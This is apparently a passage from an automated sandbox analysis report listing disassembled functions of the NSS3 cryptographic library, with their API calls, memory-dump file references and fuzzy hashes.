SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6CBF461E

Part of subcall function 6CC4FCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6CBF4101,00000000,?,?,?,6CBF1666,?,?), ref: 6CC4FCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6CBF4646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF4662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CBF467A
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF4691
PL_FreeArenaPool.NSS3 ref: 6CBF46A3
PL_FinishArenaPool.NSS3 ref: 6CBF46AB
free.MOZGLUE(?), ref: 6CBF46BC
PORT_ZAlloc_Util.NSS3(?), ref: 6CBF46E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBF4717

Strings

security, xrefs: 6CBF45EC

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: 77518932a955524f951d012306ec4b052a23578abea07d071d4da0f178fa209f
Instruction ID: 9d14930c0a7d5a2ccc28cf8465952b82567ad018e4730411e42e48373f0c6340
Opcode Fuzzy Hash: 77518932a955524f951d012306ec4b052a23578abea07d071d4da0f178fa209f
Instruction Fuzzy Hash: 9641F3B29043507BEB108F249D40B5FB7A8EF8425CF454668ED29A3B41F730E529CAD7

Function 6CC6AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6ADB1

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC6ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC6AE08

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6AE25
PL_FreeArenaPool.NSS3 ref: 6CC6AE63
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC6AE4D

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6AE93
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC6AECC
PL_FreeArenaPool.NSS3 ref: 6CC6AEDE
PL_FinishArenaPool.NSS3 ref: 6CC6AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6AEF5
PL_FinishArenaPool.NSS3 ref: 6CC6AF16

Strings

security, xrefs: 6CC6ADEE

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 7f60c313ca99891cf8ebfcd6941eee668bf87c33ad37e64b9cdf717114e799b4
Instruction ID: b580edac06271408f38be4c159b3a9e17343c2b601f441d8bb90c2ed9bcbf634
Opcode Fuzzy Hash: 7f60c313ca99891cf8ebfcd6941eee668bf87c33ad37e64b9cdf717114e799b4
Instruction Fuzzy Hash: DE413AB590462067FB218B269DC4BBA32A8AFD231CF500525E91492F81F7359939C7D3

Function 6CC5E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CC5E853,?,FFFFFFFF,?,?,6CC5B0CC,?,6CC5B4A0,?,00000000), ref: 6CC5E8D9

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CC5E972
PORT_ArenaMark_Util.NSS3(?), ref: 6CC5E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CC5EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CC5EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC5EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CC5EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC5EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CC5EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CC5EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CC5EBEC
free.MOZGLUE(00000000), ref: 6CC5EC58

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: ab8a41e200a90f051bad1fbe76a5e72d5e23b8d1c7b69da6c9d891ad093b8a11
Instruction ID: c5c74e6058a61125d067ab41576599f0f12bf0ad59a25efbb4c420fc0ac2eebc
Opcode Fuzzy Hash: ab8a41e200a90f051bad1fbe76a5e72d5e23b8d1c7b69da6c9d891ad093b8a11
Instruction Fuzzy Hash: 18C18FB1E002059BEB04CF69D880BAA7BB4BF08308F54006DE916A7B51F735E834CBD9

Function 6CD0AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB9890: TlsGetValue.KERNEL32(?,?,?,6CCB97EB), ref: 6CCB989E

EnterCriticalSection.KERNEL32(?), ref: 6CD0AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CD0AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CD0AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CD0AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD0B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B070
PR_JoinThread.NSS3(?), ref: 6CD0B07B
free.MOZGLUE(?), ref: 6CD0B084
EnterCriticalSection.KERNEL32(?), ref: 6CD0B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B0C4
PR_JoinThread.NSS3(?), ref: 6CD0B0F3
free.MOZGLUE(?), ref: 6CD0B0FC
PR_JoinThread.NSS3(?), ref: 6CD0B137
free.MOZGLUE(?), ref: 6CD0B140

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9fc7e12a2e371377e39c79de188d84f7010cf06cfd6e56a82a1cfcf88eda3ef9
Instruction ID: e4f8d93cceecf91c3bf37194d4ab0c3f2f2143c083f5cd86b6668d7f7b93346e
Opcode Fuzzy Hash: 9fc7e12a2e371377e39c79de188d84f7010cf06cfd6e56a82a1cfcf88eda3ef9
Instruction Fuzzy Hash: EC915EB5A00601DFCB04DF19D88085ABBF1FF4931872985A9D8595BB62E732FC4ACF91

Function 6CC08DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CC08E22
EnterCriticalSection.KERNEL32(?), ref: 6CC08E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CC08E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC08E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC08EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CC08EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC08EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F00
free.MOZGLUE(?), ref: 6CC08F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CC08F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F5B
PR_Unlock.NSS3(?), ref: 6CC08F72
PR_Unlock.NSS3(?), ref: 6CC08F82

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: f6f8195dd6c3d064893107e82ea8ebac6904b2b6b7d5fc36eb5172f9ad7d21ec
Instruction ID: 0450e926c12db3b8e0608eb8b4aeb6d9b7f31f1be32c3412844b60f5813e9ecb
Opcode Fuzzy Hash: f6f8195dd6c3d064893107e82ea8ebac6904b2b6b7d5fc36eb5172f9ad7d21ec
Instruction Fuzzy Hash: 1251E6B2F002119FEB009F69CC84DAAB779FF45758B148529E8189BB50F732ED4587E1

Function 6CD00FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CD01000

Part of subcall function 6CCB9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBE1A48), ref: 6CCB9BB3
Part of subcall function 6CCB9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBE1A48), ref: 6CCB9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD01016

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_Unlock.NSS3(?), ref: 6CD01021

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD01046
PR_Unlock.NSS3(?), ref: 6CD0106B
PR_Lock.NSS3 ref: 6CD01079
PR_Unlock.NSS3 ref: 6CD01096
free.MOZGLUE(?), ref: 6CD010A7
free.MOZGLUE(?), ref: 6CD010B4
PR_DestroyCondVar.NSS3(?), ref: 6CD010BF
PR_DestroyCondVar.NSS3(?), ref: 6CD010CA
PR_DestroyCondVar.NSS3(?), ref: 6CD010D5
PR_DestroyCondVar.NSS3(?), ref: 6CD010E0
PR_DestroyLock.NSS3(?), ref: 6CD010EB
free.MOZGLUE(?), ref: 6CD01105

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 35296b702902e39478a81158051ec98b66d66b772e5564af8b7a7fcf9e17210f
Instruction ID: 7fc2fd335b570ee1c56474e1eee6b416d09830778d73972a5fa801db2fcf3cfc
Opcode Fuzzy Hash: 35296b702902e39478a81158051ec98b66d66b772e5564af8b7a7fcf9e17210f
Instruction Fuzzy Hash: CB31ADB5A00441ABEB01AF14EC41A49B775BF0135DF484130E80912FA1E772F878DBD2

Function 6CC3EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CC3EE0B

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC3EEE1

Part of subcall function 6CC31D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CC31D7E
Part of subcall function 6CC31D50: EnterCriticalSection.KERNEL32(?), ref: 6CC31D8E
Part of subcall function 6CC31D50: PR_Unlock.NSS3(?), ref: 6CC31DD3

TlsGetValue.KERNEL32 ref: 6CC3EE51
EnterCriticalSection.KERNEL32(?), ref: 6CC3EE65
PR_Unlock.NSS3(?), ref: 6CC3EEA2
free.MOZGLUE(?), ref: 6CC3EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CC3EED0
PR_Unlock.NSS3(?), ref: 6CC3EF48
free.MOZGLUE(?), ref: 6CC3EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CC3EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CC3EFA4
free.MOZGLUE(?), ref: 6CC3EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC3F055
free.MOZGLUE(?), ref: 6CC3F060

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 6c166fa3230c1382721fd6b671ee4cc64fa0d1779b1a154f15a9636a31258514
Instruction ID: 9df8e4c50f97f494b8db57f73af3ab93bfeecd02223879790ae135b028c1c5c8
Opcode Fuzzy Hash: 6c166fa3230c1382721fd6b671ee4cc64fa0d1779b1a154f15a9636a31258514
Instruction Fuzzy Hash: FF816071A00215AFEF00DF65EC85ADE7BB9BF48318F555028E909A3651F731E924CBA1

Function 6CC04CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CC04D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CC04D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CC04DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC04E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CC04E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CC04E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CC04E85
DER_Encode_Util.NSS3(?,?,6CD505A4,00000000), ref: 6CC04EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CC04F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CC04F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC04F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC04F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC04F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC04FC8

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 9a97d39e7e4f933143f67269c5b16cc8c01fe70bc39dc7fc2b79319b507a36b6
Instruction ID: 3f3647c43a226b45b3b53ba31050f39f6629a0ce1a38a801d603315899dccc2f
Opcode Fuzzy Hash: 9a97d39e7e4f933143f67269c5b16cc8c01fe70bc39dc7fc2b79319b507a36b6
Instruction Fuzzy Hash: 70818071A08301AFE701CF29D880B5BB7E8AB94758F15892DF958DB641F732E905CB92

Function 6CC00470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC004B7

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC00539

Part of subcall function 6CC51200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC51228
Part of subcall function 6CC51200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC51238
Part of subcall function 6CC51200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5124B
Part of subcall function 6CC51200: PR_CallOnce.NSS3(6CD52AA4,6CC512D0,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5125D
Part of subcall function 6CC51200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC5126F
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC51280
Part of subcall function 6CC51200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC5128E
Part of subcall function 6CC51200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC5129A
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC512A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC0054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC005CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CC005EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6CC005FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6CC00621
PR_EnterMonitor.NSS3 ref: 6CC0063E
PR_ExitMonitor.NSS3 ref: 6CC00668
CERT_DestroyCertificate.NSS3(?), ref: 6CC00697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC006AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC006CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC006DA

Part of subcall function 6CBFE6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6CC004DC,?,?), ref: 6CBFE6C9
Part of subcall function 6CBFE6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6CC004DC,?,?), ref: 6CBFE6D9
Part of subcall function 6CBFE6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6CC004DC,?,?), ref: 6CBFE6F4
Part of subcall function 6CBFE6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC004DC,?), ref: 6CBFE703
Part of subcall function 6CBFE6B0: CERT_FindCertIssuer.NSS3(?,?,6CC004DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBFE71E

Part of subcall function 6CBFF660: PR_EnterMonitor.NSS3(6CC0050F,?,00000001,?,?,?), ref: 6CBFF6A8
Part of subcall function 6CBFF660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6CBFF6C1
Part of subcall function 6CBFF660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6CBFF7C8

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: 9b5bee47300cb7205cbc3144eb49d03eb73bf186cc88a63ea4cc23ec862264b8
Instruction ID: 6d8635c2cbedf23252215bac0444a966ef5f7523aca082e7a922179875715ebf
Opcode Fuzzy Hash: 9b5bee47300cb7205cbc3144eb49d03eb73bf186cc88a63ea4cc23ec862264b8
Instruction Fuzzy Hash: BA61F271B043819FEB00CE68DC40B5B73E9AB84358F114529FD5997791FB31EA18CB96

Function 6CC38F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC39582), ref: 6CC38F5B

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC38F6A

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC38FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CC38FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD1D820,6CC39576), ref: 6CC38FF9
DER_GetInteger_Util.NSS3(?), ref: 6CC3901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CC3903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC39062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CC390A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CC390CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CC390F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC3912D
free.MOZGLUE(00000000), ref: 6CC39136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC39145

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
